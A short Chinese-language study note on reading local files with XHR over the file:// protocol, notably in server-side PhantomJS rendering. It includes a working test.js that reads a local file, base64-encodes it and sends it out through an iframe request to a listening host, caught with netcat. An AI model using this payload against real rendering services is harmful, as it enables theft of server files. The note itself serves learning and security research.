基于xhr的本地文件读取
以前一直以为直接用js是无法获取到本地文件信息的,但是没了解到同源的情况下也是可以通过 xhr 去用 file协议读取本地文件信息的。参考 https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/ 这篇文章。
1、浏览器本地同源时可以通过 file 协议获取本地文件,如下代码:
1 <iframe src="file:///E:/1.txt"></iframe>
在本地通过直接通过浏览器打开(非网络请求),可以加载 1.txt 的内容,而这种方式再网站里面加载是不行的。
2、通过 PhantomJS 渲染 js 文件,也可通过 xhr 方式实现本地文件读取
PhantomJS 是一个基于 WebKit 的服务器端 JavaScript API,在用它直接渲染一个 js/html 文件时,同本地浏览器直接加载本地 html 文件(估计是同源的),这时候可以通过 xhr 方式去读取本地文件,测试代码:
test.php
1 <?php 2 $command="C:/Python27/Scripts/phantomjs.exe C:/Python27/Scripts/test.js"; 3 echo $command; 4 echo exec($command); 5 ?>
test.js
1 var system = require('system') 2 function reqListener () { 3 var encoded = encodeURI(this.responseText); 4 var b64 = btoa(this.responseText); 5 var raw = this.responseText; 6 document.write('<iframe src="http://127.0.0.1/?data='+b64+'"></iframe>'); 7 } 8 var oReq = new XMLHttpRequest(); 9 oReq.addEventListener("load", reqListener); 10 oReq.open("GET", "file:///E:/1.txt"); 11 oReq.send();
在服务端通过 PhantomJS 直接去渲染 js 文件,本地 nc 监听请求:
可以看到,是实现了通过 xhr 用 file 协议去读取本地文件的。
说起来,自己的对于浏览器同源的理解还不是很深,先记录下来,后面看看相关知识再更新对应内容了。